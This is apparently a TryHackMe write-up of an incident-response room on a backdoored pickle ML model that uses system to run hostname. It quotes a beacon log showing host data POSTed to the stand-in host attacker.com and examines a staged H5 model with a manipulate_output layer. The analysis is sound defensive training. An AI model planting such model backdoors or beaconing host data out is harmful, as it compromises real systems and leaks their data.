TryHackMe · 2026-07-01 · 3 min read
Payload
TryHackMe supply-chain incident room investigating a backdoored ML model, outbound beaconing, and a staged candidate model containing the second half of the campaign ID.
CTF Room: Payload
- Link to room
- Difficulty: Medium
- Category: Supply Chain, ML Model Analysis, Incident Response
- OS: Linux
1. Brief
Payload is a TryHackMe incident response room focused on a compromised ML inference server.
The incident materials are located at:
/opt/supply-chain/incident/The investigation starts with the logs, then moves into the production model, and finally checks the staged replacement model before it can be deployed.
2. Lab Access
If using SSH instead of the split-screen VM, the provided credentials are:
SSH
ssh analyst@MACHINE_IPCredentials
Username: analyst
Password: 3. Incident Timeline
Read the deployment log. The replacement model came from a different organisation than the original. What is the name of that organisation?
I started with the deployment log.
Command
cat /opt/supply-chain/incident/logs/deployment.logThe replacement model came from a different organisation than the original model.
Answer
trustworthy-ai-labHow many days passed between the replacement model being deployed and the SOC alert firing?
The deployment occurred on 2024-01-26 and the SOC alert fired on 2024-02-16.
Calculation
2024-01-26 -> 2024-02-16 = 21 daysAnswer
214. Production Model Analysis
Decompile the production model. What Python function does the payload use to execute the shell command?
I used Fickling to decompile the production model and inspect the embedded payload.
Command
fickling /opt/supply-chain/incident/models/production_model.pklThe payload used Python's system function to execute a shell command.
Answer
systemWhat shell command does the payload use to capture the host's identity?
The command executed by the payload captured the host identity.
Answer
hostname5. Beacon Capture
The beacon capture log shows the HTTP method used in the outbound request. What is it?
The outbound beacon was recorded in beacon_capture.log.
Command
cat /opt/supply-chain/incident/logs/beacon_capture.logEvidence
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED src=10.0.1.50 dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED bytes_captured=51 reason=SOC_RULE_4821Answer
POST6. Candidate Model Analysis
The engineering team staged candidate_model.h5 as a replacement but have not yet deployed it. What is the name of the suspicious layer it contains?
I inspected the candidate H5 model with the provided helper script.
Command
inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5The suspicious layer was named manipulate_output.
Answer
manipulate_outputThe attacker split the campaign ID across two artefacts to avoid full exposure in any single capture. Examine beacon_capture.log and the candidate model to recover the complete flag.
The first half of the campaign ID appeared in beacon_capture.log. The second half was embedded in the staged candidate model and appeared when inspecting candidate_model.h5.
Combining both artefacts recovered the complete flag.
Answer
7. Summary
The deployment log showed that the replacement model came from trustworthy-ai-lab, and the SOC alert fired 21 days later.
The production model contained a payload that used system to run hostname and beacon the host identity over a POST request. The staged H5 replacement also contained a suspicious manipulate_output layer, which held the missing portion of the campaign ID.